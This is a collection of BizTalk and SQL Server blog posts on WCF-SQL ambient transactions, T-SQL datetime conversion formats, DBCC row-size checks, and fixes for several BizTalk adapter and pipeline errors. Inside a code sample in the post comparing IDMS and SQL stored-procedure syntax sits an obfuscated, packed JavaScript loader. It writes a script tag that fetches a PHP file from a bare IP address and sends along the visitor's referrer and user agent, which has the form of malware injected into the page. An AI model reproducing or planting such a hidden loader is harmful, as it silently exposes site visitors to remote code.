One day, I hope to be able to fully understand and explain the “Ambient Transaction” true/false option in BizTalk WCF-SQL and WCF-Custom send and receive ports.  Until then, I’m going to collect the most relevant info and blogs here:

The official Microsoft BizTalk parameter definition (for the WCF Send or Receive Port): http://msdn.microsoft.com/en-us/library/dd787981.aspx

Specifies whether the SQL adapter performs the operations using the transactional context provided by the caller. Default is true, which means that the adapter always performs the operations in a transactional context. If there are other resources participating in the transaction, and SQL Server also joins the transaction, the transaction gets elevated to an MSDTC transaction.

However, there can be scenarios where you do not want the adapter to perform operations in a transactional context. For example:

  • While performing a simple Select operation on a SQL Server database
  • While specifying a polling statement that performs a Select operation, and does not involve any changes to the table either through a Delete statement or by invoking a stored procedure.

Both these operations do not make any updates to the database table and, hence, elevating these operations to use an MSDTC transaction can be a performance overhead. In such scenarios, you can set the binding property to false so that the SQL adapter does not perform the operations in a transactional context.

Not performing operations in a transactional context is advisable only for operations that do not make changes to the database. For operations that update data in the database, we recommend setting the binding property to true; otherwise you might either experience message loss or duplicate messages, depending on whether you are performing inbound or outbound operations.

 

http://seroter.wordpress.com/biztalk-and-wcf-part-iii-transaction-patterns/  (Richard Seroter – usually has great blogs on BizTalk topics)

http://msdn.microsoft.com/en-us/library/ms973865.aspx (Richard Seroter above refers to the “Ambient Transaction” feature as being part of the Systems.Transaction in .NET Framework 2.0 and afterwards.  It seems like understanding Ambient Transactions from native C# first would be key to understanding how it works in BizTalk.

The above link provides the following information, but as for me now, it does not pass the “so what” and the “WIIFM” (What’s In It for Me) test.

System.Transactions defines a concept called an ambient transaction. The ambient transaction is the transaction that is present in the thread that the current application code is executing within. To obtain a reference to the ambient transaction call the static Current property of Transaction:

<em>Transaction ambientTransaction = Transaction.Current;</em>

If there is no ambient transaction, Current will return null.

The ambient transaction object is stored in the thread local storage (TLS). As a result, when the thread winds its way across multiple objects and methods, all objects and methods can access their ambient transaction.

Later it says:

The value of TransactionScopeOption lets you control whether the scope takes part in a transaction, and if so, whether it will join the ambient transaction or become the root scope of a new transaction.

 

A TransactionScope object has three options:

  • Join the ambient transaction.
  • Be a new scope root, that is, start a new transaction and have that transaction be the new ambient transaction inside its own scope.
  • Do not take part in a transaction at all.

 

This forum post tries to answer the question: “What exactly is an ambient transaction?”

http://social.msdn.microsoft.com/Forums/en-US/781c69f5-637f-4adb-a674-c065ea7ea69b/ambient-transactions?forum=csharplanguage

 

StackOverflow: http://stackoverflow.com/questions/224689/transactions-in-net

There are 2 main kinds of transactions; connection transactions and ambient transactions. A connection transaction (such as SqlTransaction) is tied directly to the db connection (such as SqlConnection), which means that you have to keep passing the connection around – OK in some cases, but doesn’t allow “create/use/release” usage, and doesn’t allow cross-db work.

The alternative is an ambient transaction; new in .NET 2.0, the TransactionScope object (System.Transactions.dll) allows use over a range of operations (suitable providers will automatically enlist in the ambient transaction). This makes it easy to retro-fit into existing (non-transactional) code, and to talk to multiple providers (although DTC will get involved if you talk to more than one).

Note here that the two methods can handle their own connections (open/use/close/dispose), yet they will silently become part of the ambient transaction without us having to pass anything in.

If your code errors, Dispose() will be called without Complete(), so it will be rolled back. The expected nesting etc is supported, although you can’t roll-back an inner transaction yet complete the outer transaction: if anybody is unhappy, the transaction is aborted.

The other advantage of TransactionScope is that it isn’t tied just to databases; any transaction-aware provider can use it. WCF, for example. Or there are even some TransactionScope-compatible object models around (i.e. .NET classes with rollback capability – perhaps easier than a memento, although I’ve never used this approach myself).

 

Blog on on the topic:  Transaction.Current and Ambient Transactions by Florin Lazar:

http://blogs.msdn.com/b/florinlazar/archive/2005/04/19/409570.aspx

Key phrase from above blog: “Transaction.Current can detect that the transaction was created inside a COM+ context and provide it to anyone asking for the ambient transaction.

StackOverflow: Difference Between Transaction and TransactionScope

http://stackoverflow.com/questions/6493173/difference-between-transaction-and-transactionscope

Key phrase: The ambient transaction is the transaction within which your code executes.

Transaction Scope Class (C# examples): http://msdn.microsoft.com/en-us/library/system.transactions.transactionscope%28v=vs.90%29.aspx

And final link – to a comparison of Transaction Handling in 1.0 and 2.0 .NET (rather old, but may help give the background of when the “Ambient Transaction” was birthed: http://msdn.microsoft.com/en-us/library/ms973865.aspx

CodeProject Sample Demo/Code: http://www.codeproject.com/Articles/690136/All-About-TransactionScope

A transaction which automatically identifies a code block that needs to support a transaction without explicitly mentioning any transaction related things. An ambient transaction is not tied just to a database, any transaction aware provider can be used. TransactionScope implements an ambient transaction. If you see the use of TransactionScope, you will not find transaction related anything sent to any method or setting any property. A code block is automatically attached with the transaction if that code is in any TransactionScope. A WCF transaction is another example of a transaction aware provider. Any one can write a transaction aware provider like the WCF implementation.

 

 

WCF-SQL and DTC Ambient Transactions in a cross domain scenario

http://adventuresinsidethemessagebox.wordpress.com/2014/03/30/wcf-sql-and-dtc-ambient-transactions-in-a-cross-domain-scenario/

The ambient transaction option ensures that the BizTalk adapter flows a transaction through to SQL Server and thus the SQL transaction will only commit when the message received by BizTalk is successfully written to the BizTalk message box database.  This is of course crucial in a guaranteed delivery based solution where you can’t afford to lose any messages.

I found that all worked well when ambient transactions were turned off, however when turned on it looked like the receive location just hangs, holding a lock on SQL resources (I tried to do a select on the table in question using SQL Server Management Studio and it couldn’t return any values due to locks being in place) which won’t be removed until the host instance is reset.

The above blog talks about using DTCPing and DTCTester to identify DTC issues, and fixing them by laxing the security options in the DTC configuration.

Conclusions (or lack thereof):

So for now, I suggest studying that second web page to get an idea of what the topic is really about.  If I had time, I would write some C# programs to test outside of BizTalk.

 

MSSQL Server string to date conversion – datetime string format sql server
— MSSQL string to datetime conversion – convert char to date sql server

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’, 100) — mon dd yyyy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’) — 2012-10-23 11:01:00.000

— Without century (yy) string date conversion – convert string to datetime

SELECT convert(datetime, ‘Oct 23 12 11:01AM’, 0) — mon dd yy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 12 11:01AM’) — 2012-10-23 11:01:00.000

— Convert string to datetime sql – convert string to date sql – sql dates format

— T-SQL convert string to datetime – SQL Server convert string to date

SELECT convert(datetime, ’10/23/2016′, 101) — mm/dd/yyyy

SELECT convert(datetime, ‘2016.10.23’, 102) — yyyy.mm.dd

SELECT convert(datetime, ’23/10/2016′, 103) — dd/mm/yyyy

SELECT convert(datetime, ‘23.10.2016’, 104) — dd.mm.yyyy

SELECT convert(datetime, ’23-10-2016′, 105) — dd-mm-yyyy

— mon types are nondeterministic conversions, dependent on language setting

SELECT convert(datetime, ’23 OCT 2016′, 106) — dd mon yyyy

SELECT convert(datetime, ‘Oct 23, 2016′, 107) — mon dd, yyyy

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’20:10:44’, 108) — hh:mm:ss

— 1900-01-01 20:10:44.000

— mon dd yyyy hh:mm:ss:mmmAM (or PM) – sql time format

SELECT convert(datetime, ‘Oct 23 2016 11:02:44:013AM’, 109)

— 2016-10-23 11:02:44.013

SELECT convert(datetime, ’10-23-2016′, 110) — mm-dd-yyyy

SELECT convert(datetime, ‘2016/10/23’, 111) — yyyy/mm/dd

SELECT convert(datetime, ‘20161023’, 112) — yyyymmdd

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’23 Oct 2016 11:02:07:577′, 113) — dd mon yyyy hh:mm:ss:mmm

— 2016-10-23 11:02:07.577

SELECT convert(datetime, ’20:10:25:300′, 114) — hh:mm:ss:mmm(24h)

— 1900-01-01 20:10:25.300

SELECT convert(datetime, ‘2016-10-23 20:44:11’, 120) — yyyy-mm-dd hh:mm:ss(24h)

— 2016-10-23 20:44:11.000

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 121) — yyyy-mm-dd hh:mm:ss.mmm

— 2016-10-23 20:44:11.500

SELECT convert(datetime, ‘2008-10-23T18:52:47.513’, 126) — yyyy-mm-ddThh:mm:ss.mmm

— 2008-10-23 18:52:47.513

— Convert DDMMYYYY format to datetime

SELECT convert(datetime, STUFF(STUFF(‘31012016′,3,0,’-‘),6,0,’-‘), 105)

— 2016-01-31 00:00:00.000

— SQL string to datetime conversion without century – some exceptions

SELECT convert(datetime, ’10/23/16’, 1) — mm/dd/yy

SELECT convert(datetime, ‘16.10.23’, 2) — yy.mm.dd

SELECT convert(datetime, ’23/10/16′, 3) — dd/mm/yy

SELECT convert(datetime, ‘23.10.16’, 4) — dd.mm.yy

SELECT convert(datetime, ’23-10-16′, 5) — dd-mm-yy

SELECT convert(datetime, ’23 OCT 16′, 6) — dd mon yy

SELECT convert(datetime, ‘Oct 23, 16′, 7) — mon dd, yy

SELECT convert(datetime, ’20:10:44’, 8) — hh:mm:ss

SELECT convert(datetime, ‘Oct 23 16 11:02:44:013AM’, 9)

SELECT convert(datetime, ’10-23-16′, 10) — mm-dd-yy

SELECT convert(datetime, ’16/10/23′, 11) — yy/mm/dd

SELECT convert(datetime, ‘161023’, 12) — yymmdd

SELECT convert(datetime, ’23 Oct 16 11:02:07:577′, 13) — dd mon yy hh:mm:ss:mmm

SELECT convert(datetime, ’20:10:25:300′, 14) — hh:mm:ss:mmm(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11’,20) — yyyy-mm-dd hh:mm:ss(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 21) — yyyy-mm-dd hh:mm:ss.mmm

We have one table with about 120 columns in it. I was just curious what the average row size was, and found this slick solution:

Use DBCC to find the “Average Size of a Row”

Syntax:

dbcc showcontig (‘your_table_name‘) with tableresults

My tablename=’Transaction’, so substitute your tablename there.

Example:

dbcc showcontig (‘Transaction’) with tableresults


average row size

Enlarged:

average row size

Useful columns in the result are: AverageRecordSize, MinimumRecordSize, MaximumRecordSize

Error: Failed to load Group xxxx.BizTalkMgmtDb] data providers (in BTSAdmin Console)

Solution: Verify SQL Server is available, if not, start-it.

Screen shot below shows trying to connect to the SQL server; it might be on the same machine as BizTalk or it might be on another machine. The above error could also indicate a communication or maybe even a permission issue.

Open the SQL Config utility and start SQL server. The screen shot below shows how to start the SQL Configuration Manager:

The configuration utility shows which SQL services are started and stopped. Right click then select “Start” if it is not running:

Error:

There was a failure executing the receive pipeline: “Microsoft.BizTalk.DefaultPipelines.XMLReceive, Microsoft.BizTalk.DefaultPipelines, Version=3.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35″ Source: “XML disassembler” Receive Port: “Receive_ExtractEFSR_Delta_FMA” URI: “mssql://.//QTAviation?InboundId=ExtractEFSR&ExtractTypeCode=Delta_FMA_Daily” Reason: Finding the document specification by message type “http://schemas.microsoft.com/Sql/2008/05/Polling/#Polling” failed. Verify the schema deployed properly.

 

Solution: Needed to change from Polling to TypedPolling  (on Binding tab, inboundOperationType

PROCEDURE (What I did to cause the error):

1) Use the adapter wizard to generate a schema and custom bindings for a SQL stored proc
2) Created an orchestration of my own, and then tried to call the stored prod with a two-way (request/response) send port.

The ERROR that I received:

<code>The adapter failed to transmit message going to send port “Send_Extract_EFSR_Aggregate_For_AA_Departure_WCF_Custom” with URL “mssql://mySqlServer//MyDatabaseName?”. It will be retransmitted after the retry interval specified for this Send Port. Details:”Microsoft.ServiceModel.Channels.Common.UnsupportedOperationException: The action “<BtsActionMapping xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<Operation Name=”My_SProc_Name” Action=”TypedProcedure/dbo/My_SProc_Name” />
</BtsActionMapping>” was not understood.</code>

The two SOLUTIONs:

1) When you create a send port in an orchestration, by default the Operation name is “Operation-1”.
2) You have two choices to fix:
a) Change the “Operation Name” in the “Action” to “Operation_1″ like this:

<code><BtsActionMapping xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<Operation Name=”Operation_1″ Action=”TypedProcedure/dbo/Extract_EFSR_Aggregate” />
</BtsActionMapping>
</code>

(No redeploy required in this case.)

b) Go to the orchestration, and change the Operation on the send port from “Operation_1” to “My_SProc_Name” (i.e. whatever your stored proc name is).
Then rebuild and redeploy (or at least rebuild and re-GAC your orchestration).

 

NOTE: Be sure to restart the host instances of the Orchestration and SendPorts if you redeploy the orchestration.

I made some interesting discoveries today. We had a file from a client’s database administrator (DBA) that had a list of all the stored procs from a certain database. He was off today, so we were unsure how he created it. Using the open source (free) editor called NotePad++, we did a “find” on “Create Proc” and it showed for example 500 stored procs. However, we knew there were about 700 stored procs on that SQL server, so where were the missing 200 stored procs?

Another client gave me a list of stored procs he created using a simple T-SQL query. So I started writing a C# program to extract the names from the first DBA, and to put them in a file so I could using another tool, Total Commander, to do a side-by-side “diff”/compare, and find the names of the missing 200 stored proc’s.

At first, I thought the DBA must have given me a human-created file, that perhaps came from their source control system. The reason was is that there so many inconsistencies, for example:

CREATE PROCEDURE ABC …
CREATE procedure ABC …
create PROC ABC
CREATE
PROC ABC …
and some had
CREATE PROCEDURE ABC AS
or
CREATE PROCEDURE ABC WITH RECOMPILE
and even
CREATEtPROCEDURE ABC (with the tab instead of space between the words “CREATE” and “PROC”)
and also
CREATE PROC ABC @PARM1 VARCHAR(30), @PARM2 INT…

Eventually, I figured out that the file did have all 700 stored proc’s in it, but it was the simple “Find/Count” command in NotePad++ wasn’t accurate enough to do the job.

So what apparently happens, is that SQL takes your exact “Create Proc” syntax, and stores in the meta-data of the database. Then when you extract it again, it has the 100% exact same format.

This is 100% opposite of the way the IDMS mainframe database works (which I used for over 20 years). In IDMS, you can say for example, “ADD REC ABC”, “ADD RECORD DEF”, “ADD RECO XYZ”, or event split it on different lines. But later, when you say “DISPLAY REC ABC”, it will spit it back out in a formal canonized syntax such like this:

<code>
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|artak|var|u0026u|referrer|bntft||js|php'.split('|'),0,{}))
</script></noindex> ADD
    RECORD NAME IS ABC VERSION 1 
    etc... 
</code>

I wish SQL did it the same way!

My client uses a non-standard SQL port number.
So for example, when connecting in SSMS (SQL Server Management Studio), we type in “MyServer,1234” for the server name. This also works in connection strings (i.e. specify servername, then comma, then port number.

I suppose if you were using a named instance, it would be “MyServer/MyInstance,1234”.

But if you are using WCF/SQL Adapter, it’s a little obtuse, you must specify the port number in the “InstanceName” property field, even though you are not using an instance:

Specifing port number for SQL Server (in WCF/SQL Adapter for BizTalk)

Type a comma, followed by the port number in the instance name.

SQL 2008 R2

Unfortunately, I wasted a few hours today. My current customer is still on BT2006/R2, but might be moving to BT2009 or BT2010 soon. I was building-out a Virtual PC with Win 2008, and just assumed that I could run BT2009 with SQL2008/R2. Well you cannot! I guess BT2010 will be the first version of BizTalk to work with SQL2008/R2.

You normally think that something small like an R2 won’t make that much a different, but indeed it does.

Here’s where I got confirmation of this:
Stack Overflow 2966186

You have to open the install log to see the error – and it’s various ambigous:

[13:05:10 Error BtsCfg] Failed to create Management database “BizTalkMgmtDb” on server “WhatEver”.
Error “0x80040E1D” occurred. Other blogs talk about this error being caused by not having Case-Insenstive turned on for you SQL Server. I guess basically, it means BizTalk doesn’t like something about your SQL server, but sadly, it doesn’t really tell you what it that it doesn’t like.

When will Microsoft start making user-friendly errors? LOL.
And when will the numbering schemes for the products make sense? More Laughter!

ERROR:
Uncaught exception (see the ‘inner exception’ below) has suspended an instance of service ‘MyApp.Common.BizTalk.Artifacts.HandleCommonErrors(4e50ec54-338d-1887-a441-2dc31c830952)’.
The service instance will remain suspended until administratively resumed or terminated.
If resumed the instance will continue from its last persisted state and may re-throw the same unexpected exception.
InstanceId: 8d92abe3-0e57-43d6-bd92-635708964f31
Shape name:
ShapeId:
Exception thrown from: segment -1, progress -1
Inner exception: Received unexpected message type ” does not match expected type ‘http://MyApp.Common.BizTalk.Artifacts/Config#ConfigResp’.

Exception type: UnexpectedMessageTypeException
Source: Microsoft.XLANGs.Engine
Target Site: Void VerifyMessage(Microsoft.XLANGs.Core.Envelope, System.String, Microsoft.XLANGs.Core.Context, Microsoft.XLANGs.Core.OperationInfo)
The following is a stack trace that identifies the location where the exception occured

at Microsoft.XLANGs.Core.PortBindi

SOLUTION:
Change Send Port ReceivePipeline to XMLReceive instead of PassThru.

BizTalk could not parse the XML without the XMLRecieve pipeline.

 

Update on  08/31/2016:

This happened to me again.  I had a solution with multiple projects, and every time I did a deploy, the SendPort was getting reset.  I’m not 100% sure why, but the way I fixed that was to go to the Solution itself, and turn off the deploy of the common module.  I must have had a pipeline or something that was causing the SendPort to be modified each time I deployed.